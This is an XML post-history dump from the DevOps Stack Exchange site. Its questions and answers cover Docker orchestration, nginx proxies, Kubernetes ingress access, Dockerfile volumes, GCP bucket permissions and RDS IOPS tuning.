  <row Id="18420" PostHistoryTypeId="2" PostId="5754" RevisionGUID="8c4b524f-41a9-46e6-a92a-085a33723e87" CreationDate="2018-12-16T07:09:36.567" UserId="10912" Text="I am trying to automate the process of &quot;sending the screenshots of a monitoring tool dashboard to my WhatsApp number&quot; at regular intervals.&#xD;&#xA;&#xD;&#xA;So far I have achieved the following:&#xD;&#xA;&#xD;&#xA;1. Automated the screenshot taking using [pageres-cli](https://github.com/sindresorhus/pageres-cli)&#xD;&#xA;2. Integrated the same with SMTP server using postfix&#xD;&#xA;&#xD;&#xA;Now I also want to send these screenshots to my Whatsapp group or Facebook messenger group. How can I achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18421" PostHistoryTypeId="1" PostId="5754" RevisionGUID="8c4b524f-41a9-46e6-a92a-085a33723e87" CreationDate="2018-12-16T07:09:36.567" UserId="10912" Text="Take automatic screenshots of a website and send it to WhatsApp or Facebook Messenger" ContentLicense="CC BY-SA 4.0" />
  <row Id="18422" PostHistoryTypeId="3" PostId="5754" RevisionGUID="8c4b524f-41a9-46e6-a92a-085a33723e87" CreationDate="2018-12-16T07:09:36.567" UserId="10912" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18423" PostHistoryTypeId="50" PostId="1821" RevisionGUID="96e52133-bc57-4518-b3aa-d7215632e316" CreationDate="2018-12-16T08:01:50.360" UserId="-1" />
  <row Id="18424" PostHistoryTypeId="50" PostId="1832" RevisionGUID="13a0e870-e228-4303-be0d-1ce50806deaa" CreationDate="2018-12-16T15:00:27.570" UserId="-1" />
  <row Id="18425" PostHistoryTypeId="50" PostId="5184" RevisionGUID="af3cb499-a09f-49dc-bd7c-761f1415fba8" CreationDate="2018-12-16T16:03:05.677" UserId="-1" />
  <row Id="18426" PostHistoryTypeId="50" PostId="5460" RevisionGUID="c450afc6-b8e3-4f94-b1e6-9437d268716a" CreationDate="2018-12-16T18:02:05.430" UserId="-1" />
  <row Id="18427" PostHistoryTypeId="2" PostId="5755" RevisionGUID="7ccb0759-7fcb-4023-98ec-37f9fe194059" CreationDate="2018-12-16T19:57:50.560" UserId="11362" Text="I am familiarizing with the architecture and practices to package, build and deploy software or unless, small pieces of software.&#xD;&#xA;&#xD;&#xA;If suddenly I am mixing concepts with specific tools (sometimes is unavoidable), let me know if I am wrong, please.&#xD;&#xA;&#xD;&#xA;On the road, I have been reading and learning about the images and containers terms and their respective relationships in order to start to build the workflow software systems of a better possible way. &#xD;&#xA;&#xD;&#xA;And I have a question about the services orchestration in the context of the docker :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- The containers are lightweight and portable encapsulations of an environment in which we have all the binary and dependencies we need to run our application. OK&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- I can set up communication between containers using **container links** `--link` flag.  &#xD;&#xA;&#xD;&#xA;I can replace the use of container links, with docker-compose in order to automate my services workflow and running multi-containers using `.yaml` file configurations.&#xD;&#xA;&#xD;&#xA;And I am reading about of the Container orchestration term, which defines the relationship between containers when we have distinct &quot;software pieces&quot; separate from each other, and how these containers interact as a system.&#xD;&#xA;&#xD;&#xA;Well, I suppose that  I've read good the documentation :P&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;A docker level, are **container links** and `docker-compose` a way of container orchestration? &#xD;&#xA;&#xD;&#xA;Or with docker, if I want to do container orchestration ... should I use `docker-swarm`? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18428" PostHistoryTypeId="1" PostId="5755" RevisionGUID="7ccb0759-7fcb-4023-98ec-37f9fe194059" CreationDate="2018-12-16T19:57:50.560" UserId="11362" Text="Containers Orchestations and some docker functions" ContentLicense="CC BY-SA 4.0" />
  <row Id="18429" PostHistoryTypeId="3" PostId="5755" RevisionGUID="7ccb0759-7fcb-4023-98ec-37f9fe194059" CreationDate="2018-12-16T19:57:50.560" UserId="11362" Text="&lt;docker&gt;&lt;containers&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18430" PostHistoryTypeId="50" PostId="5197" RevisionGUID="d504edfe-625c-4e36-8181-90586323ad61" CreationDate="2018-12-16T23:01:30.280" UserId="-1" />
  <row Id="18431" PostHistoryTypeId="50" PostId="4386" RevisionGUID="f78b4796-121c-4f63-b505-ccd8dfc54b96" CreationDate="2018-12-17T00:01:05.187" UserId="-1" />
  <row Id="18435" PostHistoryTypeId="2" PostId="5757" RevisionGUID="5c15aa6d-a721-4048-ab7f-bc4027fc83c1" CreationDate="2018-12-17T06:25:13.237" UserId="707" Text="@bgarcial, and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Well I think there are the following options depending on the use case:&#xD;&#xA;&#xD;&#xA;* Docker Container *links* are a according to the vendor site a [legacy feature][1] and you shouldn't use it&#xD;&#xA;* Docker *compose* should work well but you can't scale horizontally: the stack is runnable only one a single machine&#xD;&#xA;* With *Docker Swarm* using mostly same YML you can distribute your containers across many machines&#xD;&#xA;* If you are going to deploy large scale production environments you might want to choose *Kubernetes* over Swarm, maybe have a look for example on *Rancher/Kubernetes*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/links/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18436" PostHistoryTypeId="2" PostId="5758" RevisionGUID="662cde8e-5955-4e3e-90fb-c594f46571ea" CreationDate="2018-12-17T07:10:54.057" UserId="11403" Text="One nginx server on host machine with renewable certificate (via certbot).&#xD;&#xA;And another nginx server inside docker container.&#xD;&#xA;First one should redirect all traffic to the second one.&#xD;&#xA;&#xD;&#xA;Currently I have one nginx service inside container and I connect certificates that stored on host to that server via volumes. But with this kind of setup I can't renew certificates automatically..." ContentLicense="CC BY-SA 4.0" />
  <row Id="18437" PostHistoryTypeId="1" PostId="5758" RevisionGUID="662cde8e-5955-4e3e-90fb-c594f46571ea" CreationDate="2018-12-17T07:10:54.057" UserId="11403" Text="Is this okay to use double proxy-server setup on one machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18438" PostHistoryTypeId="3" PostId="5758" RevisionGUID="662cde8e-5955-4e3e-90fb-c594f46571ea" CreationDate="2018-12-17T07:10:54.057" UserId="11403" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18439" PostHistoryTypeId="50" PostId="4332" RevisionGUID="a9bbef2a-fe9d-4eed-9ca6-3a928bbebcda" CreationDate="2018-12-17T08:02:00.390" UserId="-1" />
  <row Id="18440" PostHistoryTypeId="4" PostId="5758" RevisionGUID="e089e46b-8071-4fa0-ad1e-525f43af190d" CreationDate="2018-12-17T09:03:43.803" UserId="11403" Comment="edited title" Text="Is this okay to use double proxy-server setup (on host and in container) on one machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18443" PostHistoryTypeId="50" PostId="4987" RevisionGUID="a50f8b3d-73c7-4e90-9003-028384416931" CreationDate="2018-12-17T10:01:35.423" UserId="-1" />
  <row Id="18444" PostHistoryTypeId="2" PostId="5759" RevisionGUID="9f11fc06-15c6-4187-8bc5-f240dda4b401" CreationDate="2018-12-17T12:18:14.363" UserId="11366" Text="I'm attempting to access a service in an existing kubernetes cluster deployed in a remote machine. I've configured the cluster to be accessible through kubectl from my local mac.&#xD;&#xA;&#xD;&#xA;    $ kubectl cluster-info&#xD;&#xA;    Kubernetes master is running at https://192.168.58.114:6443&#xD;&#xA;    KubeDNS is running at https://192.168.58.114:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy&#xD;&#xA;&#xD;&#xA;The ingress configuration for the service I want to connect is:&#xD;&#xA;&#xD;&#xA;    kind: Ingress&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    metadata:&#xD;&#xA;      name: gw-ingress&#xD;&#xA;      namespace: vick-system&#xD;&#xA;      selfLink: /apis/extensions/v1beta1/namespaces/vick-system/ingresses/gw-ingress&#xD;&#xA;      uid: 52b62da6-01c1-11e9-9f59-fa163eb296d8&#xD;&#xA;      resourceVersion: '2695'&#xD;&#xA;      generation: 1&#xD;&#xA;      creationTimestamp: '2018-12-17T06:02:23Z'&#xD;&#xA;      annotations:&#xD;&#xA;        kubectl.kubernetes.io/last-applied-configuration: &gt;&#xD;&#xA;          {&quot;apiVersion&quot;:&quot;extensions/v1beta1&quot;,&quot;kind&quot;:&quot;Ingress&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{&quot;kubernetes.io/ingress.class&quot;:&quot;nginx&quot;,&quot;nginx.ingress.kubernetes.io/affinity&quot;:&quot;cookie&quot;,&quot;nginx.ingress.kubernetes.io/session-cookie-hash&quot;:&quot;sha1&quot;,&quot;nginx.ingress.kubernetes.io/session-cookie-name&quot;:&quot;route&quot;},&quot;name&quot;:&quot;gw-ingress&quot;,&quot;namespace&quot;:&quot;vick-system&quot;},&quot;spec&quot;:{&quot;rules&quot;:[{&quot;host&quot;:&quot;wso2-apim-gateway&quot;,&quot;http&quot;:{&quot;paths&quot;:[{&quot;backend&quot;:{&quot;serviceName&quot;:&quot;gateway&quot;,&quot;servicePort&quot;:8280},&quot;path&quot;:&quot;/&quot;}]}}],&quot;tls&quot;:[{&quot;hosts&quot;:[&quot;wso2-apim-gateway&quot;]}]}}&#xD;&#xA;        kubernetes.io/ingress.class: nginx&#xD;&#xA;        nginx.ingress.kubernetes.io/affinity: cookie&#xD;&#xA;        nginx.ingress.kubernetes.io/session-cookie-hash: sha1&#xD;&#xA;        nginx.ingress.kubernetes.io/session-cookie-name: route&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;            - wso2-apim-gateway&#xD;&#xA;      rules:&#xD;&#xA;        - host: wso2-apim-gateway&#xD;&#xA;          http:&#xD;&#xA;            paths:&#xD;&#xA;              - path: /&#xD;&#xA;                backend:&#xD;&#xA;                  serviceName: gateway&#xD;&#xA;                  servicePort: 8280&#xD;&#xA;    status:&#xD;&#xA;      loadBalancer:&#xD;&#xA;        ingress:&#xD;&#xA;          - ip: 172.17.17.100&#xD;&#xA;&#xD;&#xA;My list of services are:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;My /etc/hosts file looks like below:&#xD;&#xA;&#xD;&#xA;    ##&#xD;&#xA;    # Host Database&#xD;&#xA;    #&#xD;&#xA;    # localhost is used to configure the loopback interface&#xD;&#xA;    # when the system is booting.  Do not change this entry.&#xD;&#xA;    ##&#xD;&#xA;    127.0.0.1	localhost&#xD;&#xA;    255.255.255.255	broadcasthost&#xD;&#xA;    ::1             localhost&#xD;&#xA;    &#xD;&#xA;    172.17.17.100 wso2-apim-gateway wso2-apim wso2sp-dashboard&#xD;&#xA;&#xD;&#xA;What is the URL I should use to access this service from my local browser? Should I do any more configurations?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BpjIu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18445" PostHistoryTypeId="1" PostId="5759" RevisionGUID="9f11fc06-15c6-4187-8bc5-f240dda4b401" CreationDate="2018-12-17T12:18:14.363" UserId="11366" Text="Access service in remote Kubernetes cluster using ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="18446" PostHistoryTypeId="3" PostId="5759" RevisionGUID="9f11fc06-15c6-4187-8bc5-f240dda4b401" CreationDate="2018-12-17T12:18:14.363" UserId="11366" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18447" PostHistoryTypeId="2" PostId="5760" RevisionGUID="2b3338c7-8077-4f38-ae7e-a8086ff8238c" CreationDate="2018-12-17T14:32:08.937" UserId="707" Text="In case the requirement for Whatsapp/Facebook is not mandatory, you could consider using a solution offering an API for such things and targeted specifically for IT teams.&#xD;&#xA;&#xD;&#xA;For example, Slack channels allow uploading files through Slack's API and sharing files in channels.&#xD;&#xA;&#xD;&#xA;Documentation: https://api.slack.com/methods/files.upload" ContentLicense="CC BY-SA 4.0" />
  <row Id="18448" PostHistoryTypeId="5" PostId="5760" RevisionGUID="cf4a74f0-d879-47c2-8bb8-7539bad8e0d2" CreationDate="2018-12-17T16:05:31.710" UserId="707" Comment="added 108 characters in body" Text="In case the requirement for Whatsapp/Facebook is not mandatory, you could consider using a solution offering an API for such things and targeted specifically for IT teams.&#xD;&#xA;&#xD;&#xA;For example, Slack channels allow uploading files through Slack's API and sharing files in channels.&#xD;&#xA;&#xD;&#xA;Documentation: https://api.slack.com/methods/files.upload&#xD;&#xA;&#xD;&#xA;For a ready CLI stub, consider for example [slackcat][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/bcicen/slackcat" ContentLicense="CC BY-SA 4.0" />
  <row Id="18451" PostHistoryTypeId="50" PostId="3081" RevisionGUID="f37cc3fb-bac8-488c-a50d-8e8979ce40f1" CreationDate="2018-12-17T20:01:25.300" UserId="-1" />
  <row Id="18453" PostHistoryTypeId="2" PostId="5761" RevisionGUID="4237f130-f407-425d-a5b1-fd1a0d9675f1" CreationDate="2018-12-17T21:48:27.947" UserId="6726" Text="In Dockerfile we can use &#xD;&#xA;&#xD;&#xA;``VOLUME /some/folder``&#xD;&#xA;&#xD;&#xA;to let docker always create a volume for the specified folder when calling ``docker run``, without having to explicitly use the ``-v`` parameter. The volume created will have a random (unreadable) alphanumerical name.&#xD;&#xA;&#xD;&#xA;**Question:** is it possible to specify a readable name for the volume on container creation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18454" PostHistoryTypeId="1" PostId="5761" RevisionGUID="4237f130-f407-425d-a5b1-fd1a0d9675f1" CreationDate="2018-12-17T21:48:27.947" UserId="6726" Text="Giving a meaningful name to Dockerfile's VOLUME" ContentLicense="CC BY-SA 4.0" />
  <row Id="18455" PostHistoryTypeId="3" PostId="5761" RevisionGUID="4237f130-f407-425d-a5b1-fd1a0d9675f1" CreationDate="2018-12-17T21:48:27.947" UserId="6726" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18456" PostHistoryTypeId="5" PostId="5761" RevisionGUID="e55e5ad7-21d9-4c78-a764-42ac6d50305f" CreationDate="2018-12-17T21:56:55.577" UserId="6726" Comment="deleted 7 characters in body" Text="In Dockerfile we can use ``VOLUME /some/folder`` to let docker always create a volume for the specified folder when calling ``docker run``, without having to explicitly use the ``-v`` parameter. The volume created will have a random (unreadable) alphanumerical name.&#xD;&#xA;&#xD;&#xA;**Question:** is it possible to specify a readable name for the volume on container creation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18457" PostHistoryTypeId="2" PostId="5762" RevisionGUID="4714b5a0-b23c-44a0-a81f-7c0d7a24220b" CreationDate="2018-12-18T01:50:19.570" UserId="11420" Text="Google Cloud Platform Storage Buckets can be directly exposed via HTTP. The recommended configuration for this is to have `allUsers` with the `Storage Object Viewer` role. &#xD;&#xA;&#xD;&#xA;The Storage Object Viewer role has got storage.bucket.list permission. I tried creating a custom role based on this role and removed the storage.bucket.list permission.&#xD;&#xA;&#xD;&#xA;I updated the IAM permissions by getting permissions with gcutil, editing, then I tried to update.&#xD;&#xA;&#xD;&#xA;When I tried updating I used the following command&#xD;&#xA;&#xD;&#xA;`gsutil iam set permissions.txt gs://example.com/`&#xD;&#xA;&#xD;&#xA;But I got the following error &#xD;&#xA;&#xD;&#xA;&gt; BadRequestException: 400 Role roles/CustomStorageObjectViewer is not&#xD;&#xA;&gt; supported for this resource.&#xD;&#xA;&#xD;&#xA;Is there any way to configure a public gcp storage bucket without the storage.bucket.list permission?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18458" PostHistoryTypeId="1" PostId="5762" RevisionGUID="4714b5a0-b23c-44a0-a81f-7c0d7a24220b" CreationDate="2018-12-18T01:50:19.570" UserId="11420" Text="How to exclude storage.bucket.list permission on public gcp storage bucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="18459" PostHistoryTypeId="3" PostId="5762" RevisionGUID="4714b5a0-b23c-44a0-a81f-7c0d7a24220b" CreationDate="2018-12-18T01:50:19.570" UserId="11420" Text="&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18460" PostHistoryTypeId="2" PostId="5763" RevisionGUID="cf4350c4-80c7-4ac9-9d05-7b1e0768ca97" CreationDate="2018-12-18T06:56:28.473" UserId="960" Text="&gt; I am trying to automate the process of &quot;sending the screenshots of a monitoring tool dashboard to my WhatsApp number&quot; at regular intervals.&#xA;&#xA;IMO you're approaching this from a very difficult direction, far more than necessary. Sending screenshots of your monitoring dashboard is presumably so you can check and see when things break. But that's what alerting is for.&#xA;&#xA;There are plenty of alerting tools, and if your monitoring db is a standard one then most of them will have hooks into it. The alerting software will run checks, and when the checks fail notify you by phone, slack, PagerDuty, whatever. This will be far easier to manage than a headless UI tool, will be something other future employees are more likely to have experience with, and most importantly, you won't get pager fatigue because it'll only be notifying you when things are *wrong*." ContentLicense="CC BY-SA 4.0" />
  <row Id="18461" PostHistoryTypeId="2" PostId="5764" RevisionGUID="fad23609-20eb-42e8-bd6d-e4b8e2f75bd9" CreationDate="2018-12-18T06:58:47.490" UserId="960" Text="Sure, you put in as many proxies as you need. You don't want to over-complicate things, but it seems you have a good reason for your architecture." ContentLicense="CC BY-SA 4.0" />
  <row Id="18464" PostHistoryTypeId="2" PostId="5765" RevisionGUID="7054c2ff-5620-476a-aff6-2cb50120fc5f" CreationDate="2018-12-18T07:13:08.357" UserId="960" Text="Another option is to use a trace-based monitoring tool, eg something OpenTracing compatible. These will show requests as they flow through the entire system, allowing you to visualize dependencies." ContentLicense="CC BY-SA 4.0" />
  <row Id="18465" PostHistoryTypeId="2" PostId="5766" RevisionGUID="d03973a0-a7c6-49d9-a883-f55d22f77715" CreationDate="2018-12-18T07:26:33.793" UserId="960" Text="&gt;  In other words, why not both be done with an apt module?&#xA;&#xA;We can't say for certain, but likely it's just a mistake coming from ignorance. The latter command can be fully implemented using the Ansible apt module, and you should always prefer that over `command`; `command` exists as an escape for when there isn't a module for what you want to do." ContentLicense="CC BY-SA 4.0" />
  <row Id="18466" PostHistoryTypeId="2" PostId="5767" RevisionGUID="b456eb08-b4a9-4091-bbe1-b406b08baab8" CreationDate="2018-12-18T07:35:41.637" UserId="960" Text="If you try to install an unsupported version of a package using Ansible, it will do the exact same thing as if you tried to install it yourself. Ansible is merely automating your actions - it doesn't add in special packages or versions or anything." ContentLicense="CC BY-SA 4.0" />
  <row Id="18467" PostHistoryTypeId="2" PostId="5768" RevisionGUID="9188c873-508b-4543-9f0e-68efec303e44" CreationDate="2018-12-18T07:39:37.477" UserId="960" Text="Best practice? No, it's better to have a bunch of smaller nodes so you can make your services better distributed for availability reasons. But will it be any *worse* than what you have currently? No." ContentLicense="CC BY-SA 4.0" />
  <row Id="18468" PostHistoryTypeId="2" PostId="5769" RevisionGUID="89abd8ca-124c-477b-b803-19d0faa54cf1" CreationDate="2018-12-18T07:47:12.017" UserId="960" Text="The classic answer to balancing load is, of course, a load balancer. There are many different methods of doing this, but we're interested in ones that work well with dynamic containers.&#xA;&#xA;This is one of the things an orchestration layer will address. In Kubernetes, for instance, you would create a Tensor Flow [service](https://kubernetes.io/docs/concepts/services-networking/service/), and scale it to however many pods you need (or use autoscaling!). Kubernetes then provides an ip for the service that kube-proxy load balances across the pods.&#xA;&#xA;There are also service mesh options that replace this layer and perform a similar function." ContentLicense="CC BY-SA 4.0" />
  <row Id="18476" PostHistoryTypeId="2" PostId="5772" RevisionGUID="89ea21a3-e10a-473c-b9a6-1dda8145a3b5" CreationDate="2018-12-18T12:33:38.073" UserId="7730" Text="You do not specify a volume source when you define a volume in an image. Doing so would be a potential security exploit where an image could mount a private volume with a common name and send the contents of that volume over the network. To create your volumes with known names, and have that defined in a file, you would do that at runtime with a docker-compose.yml file when the container is created. E.g.&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    volumes:&#xD;&#xA;      - app_data&#xD;&#xA;    services:&#xD;&#xA;      app:&#xD;&#xA;        image: your_image:1.0&#xD;&#xA;        volumes:&#xD;&#xA;          - app_data:/data&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18484" PostHistoryTypeId="50" PostId="5086" RevisionGUID="49580862-2176-4745-8253-76675dccbb90" CreationDate="2018-12-18T15:02:45.507" UserId="-1" />
  <row Id="18488" PostHistoryTypeId="2" PostId="5776" RevisionGUID="a7fd2d00-bf68-438e-9e39-7b02e8c3e4ac" CreationDate="2018-12-18T16:11:45.120" UserId="7478" Text="Yes, it's possible. You can use --parallel option since docker-composer 1.23.2 version.&#xD;&#xA;&#xD;&#xA;Version 1.23.2 also correct 1.23.0 bug: &#xD;&#xA;&#xD;&#xA;&gt; Reverted a 1.23.0 change that appended random strings to container&#xD;&#xA;&gt; names created by docker-compose up, causing addressability issues.&#xD;&#xA;&gt; Note: Containers created by docker-compose run will continue to use&#xD;&#xA;&gt; randomly generated names to avoid collisions during parallel runs.&#xD;&#xA;&#xD;&#xA;https://github.com/docker/compose/releases/tag/1.23.2&#xD;&#xA;&#xD;&#xA;You can use it simply doing:&#xD;&#xA;&#xD;&#xA;    docker-compose build --parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="18490" PostHistoryTypeId="2" PostId="5777" RevisionGUID="9acebcca-6b21-4568-9200-c7dad3a58e68" CreationDate="2018-12-18T16:30:28.807" UserId="11258" Text="I have upgraded RDS mysql to 1000 IOPS from 120 IOPS, But same database operations utilizing more than 1000 IOPS now. Is there any way to implement RDS cluster or Is it possible to make use of lambda to reduce the usage of IOPS and load?&#xD;&#xA;&#xD;&#xA;Newbie here, If anything wrong please suggest the right way. Thank You!" ContentLicense="CC BY-SA 4.0" />
  <row Id="18491" PostHistoryTypeId="1" PostId="5777" RevisionGUID="9acebcca-6b21-4568-9200-c7dad3a58e68" CreationDate="2018-12-18T16:30:28.807" UserId="11258" Text="RDS IOPS utilizing fully" ContentLicense="CC BY-SA 4.0" />
  <row Id="18492" PostHistoryTypeId="3" PostId="5777" RevisionGUID="9acebcca-6b21-4568-9200-c7dad3a58e68" CreationDate="2018-12-18T16:30:28.807" UserId="11258" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18493" PostHistoryTypeId="2" PostId="5778" RevisionGUID="212d7048-f323-4d12-8442-d1ba6328f2ba" CreationDate="2018-12-18T18:23:03.153" UserId="11437" Text="I started learning docker recently and I set up a virtual machine (VirtualBox) with Lubuntu image:&#xD;&#xA;&#xD;&#xA;- Linux verion: `Linux 4.18.0-10-generic i686`&#xD;&#xA;- Docker version: `18.06.1-ce`, API-version: `1.38`, Go version: `go1.10.4`, Git commit: `e68fc7a`&#xD;&#xA;&#xD;&#xA;So unless I have started acquaintance with swarm everything was going smoothly. However after I executed `docker swarm init` daemon seemed going down and whatever command I'm now trying to execute, it responds with: `Cannot connect to Docker daemon at..`&#xD;&#xA;&#xD;&#xA;When I'm trying to run `sudo dockerd` it shows the output where there're some warnings like `failed to load plugin io.containerd.snapshotter.v1.btrfa` and one error saying `error creating cluster object... error=&quot;name conflicts with an existing object&quot; module=node node.id=...`. Eventually the output ends with `floating point exception` with some address in memory.&#xD;&#xA;&#xD;&#xA;Restarting does not help. The only things that makes docker run is reverting to the snapshot that I luckily made before calling `swarm init`.&#xD;&#xA;&#xD;&#xA;So I would appreciate your help or advice how I do fix everything out." ContentLicense="CC BY-SA 4.0" />
  <row Id="18494" PostHistoryTypeId="1" PostId="5778" RevisionGUID="212d7048-f323-4d12-8442-d1ba6328f2ba" CreationDate="2018-12-18T18:23:03.153" UserId="11437" Text="docker swarm init made docker go corrupted" ContentLicense="CC BY-SA 4.0" />
  <row Id="18495" PostHistoryTypeId="3" PostId="5778" RevisionGUID="212d7048-f323-4d12-8442-d1ba6328f2ba" CreationDate="2018-12-18T18:23:03.153" UserId="11437" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18497" PostHistoryTypeId="5" PostId="5759" RevisionGUID="b38fd854-643a-4557-8900-265ce129e160" CreationDate="2018-12-18T19:39:29.887" UserId="739" Comment="code formatting" Text="I'm attempting to access a service in an existing kubernetes cluster deployed in a remote machine. I've configured the cluster to be accessible through `kubectl` from my local mac.&#xD;&#xA;&#xD;&#xA;    $ kubectl cluster-info&#xD;&#xA;    Kubernetes master is running at https://192.168.58.114:6443&#xD;&#xA;    KubeDNS is running at https://192.168.58.114:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy&#xD;&#xA;&#xD;&#xA;The ingress configuration for the service I want to connect is:&#xD;&#xA;&#xD;&#xA;    kind: Ingress&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    metadata:&#xD;&#xA;      name: gw-ingress&#xD;&#xA;      namespace: vick-system&#xD;&#xA;      selfLink: /apis/extensions/v1beta1/namespaces/vick-system/ingresses/gw-ingress&#xD;&#xA;      uid: 52b62da6-01c1-11e9-9f59-fa163eb296d8&#xD;&#xA;      resourceVersion: '2695'&#xD;&#xA;      generation: 1&#xD;&#xA;      creationTimestamp: '2018-12-17T06:02:23Z'&#xD;&#xA;      annotations:&#xD;&#xA;        kubectl.kubernetes.io/last-applied-configuration: &gt;&#xD;&#xA;          {&quot;apiVersion&quot;:&quot;extensions/v1beta1&quot;,&quot;kind&quot;:&quot;Ingress&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{&quot;kubernetes.io/ingress.class&quot;:&quot;nginx&quot;,&quot;nginx.ingress.kubernetes.io/affinity&quot;:&quot;cookie&quot;,&quot;nginx.ingress.kubernetes.io/session-cookie-hash&quot;:&quot;sha1&quot;,&quot;nginx.ingress.kubernetes.io/session-cookie-name&quot;:&quot;route&quot;},&quot;name&quot;:&quot;gw-ingress&quot;,&quot;namespace&quot;:&quot;vick-system&quot;},&quot;spec&quot;:{&quot;rules&quot;:[{&quot;host&quot;:&quot;wso2-apim-gateway&quot;,&quot;http&quot;:{&quot;paths&quot;:[{&quot;backend&quot;:{&quot;serviceName&quot;:&quot;gateway&quot;,&quot;servicePort&quot;:8280},&quot;path&quot;:&quot;/&quot;}]}}],&quot;tls&quot;:[{&quot;hosts&quot;:[&quot;wso2-apim-gateway&quot;]}]}}&#xD;&#xA;        kubernetes.io/ingress.class: nginx&#xD;&#xA;        nginx.ingress.kubernetes.io/affinity: cookie&#xD;&#xA;        nginx.ingress.kubernetes.io/session-cookie-hash: sha1&#xD;&#xA;        nginx.ingress.kubernetes.io/session-cookie-name: route&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;            - wso2-apim-gateway&#xD;&#xA;      rules:&#xD;&#xA;        - host: wso2-apim-gateway&#xD;&#xA;          http:&#xD;&#xA;            paths:&#xD;&#xA;              - path: /&#xD;&#xA;                backend:&#xD;&#xA;                  serviceName: gateway&#xD;&#xA;                  servicePort: 8280&#xD;&#xA;    status:&#xD;&#xA;      loadBalancer:&#xD;&#xA;        ingress:&#xD;&#xA;          - ip: 172.17.17.100&#xD;&#xA;&#xD;&#xA;My list of services are:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;My `/etc/hosts` file looks like below:&#xD;&#xA;&#xD;&#xA;    ##&#xD;&#xA;    # Host Database&#xD;&#xA;    #&#xD;&#xA;    # localhost is used to configure the loopback interface&#xD;&#xA;    # when the system is booting.  Do not change this entry.&#xD;&#xA;    ##&#xD;&#xA;    127.0.0.1	localhost&#xD;&#xA;    255.255.255.255	broadcasthost&#xD;&#xA;    ::1             localhost&#xD;&#xA;    &#xD;&#xA;    172.17.17.100 wso2-apim-gateway wso2-apim wso2sp-dashboard&#xD;&#xA;&#xD;&#xA;What is the URL I should use to access this service from my local browser? Should I do any more configurations?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BpjIu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18498" PostHistoryTypeId="2" PostId="5780" RevisionGUID="c0f76fb4-c09d-4cd7-a8b8-4488d0cf3368" CreationDate="2018-12-18T19:45:40.027" UserId="739" Text="Production configurations often involve multiple levels of proxies.  Each should provide a place for gathering stats.  Proxies can also hide backend failures if you have a pool of nodes behind the proxy, which doesn't seem to be what you're going for here.&#xD;&#xA;&#xD;&#xA;Your comment that you wouldn't be able to renew certificates with extra proxies is not correct.  You can update certs via DNS auth then deploy to your proxies through whatever mechanism you're already happy with." ContentLicense="CC BY-SA 4.0" />
  <row Id="18499" PostHistoryTypeId="2" PostId="5781" RevisionGUID="c13071ed-46c4-4791-b751-66e6c67c1482" CreationDate="2018-12-18T19:58:21.137" UserId="11226" Text="First try to review current caching parameter values.&#xD;&#xA;Then check list in [AuroraMySQL.Reference.ParameterGroups][1]&#xD;&#xA;And try to tune/increase caching parameters like *query_cache_size*&#xD;&#xA;&#xD;&#xA;Alternative solution is to use architecture redesign with [AWS CloudFront][2] to reduce load on primary system (probbly web?).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/AuroraMySQL.Reference.html#AuroraMySQL.Reference.ParameterGroups&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html" ContentLicense="CC BY-SA 4.0" />
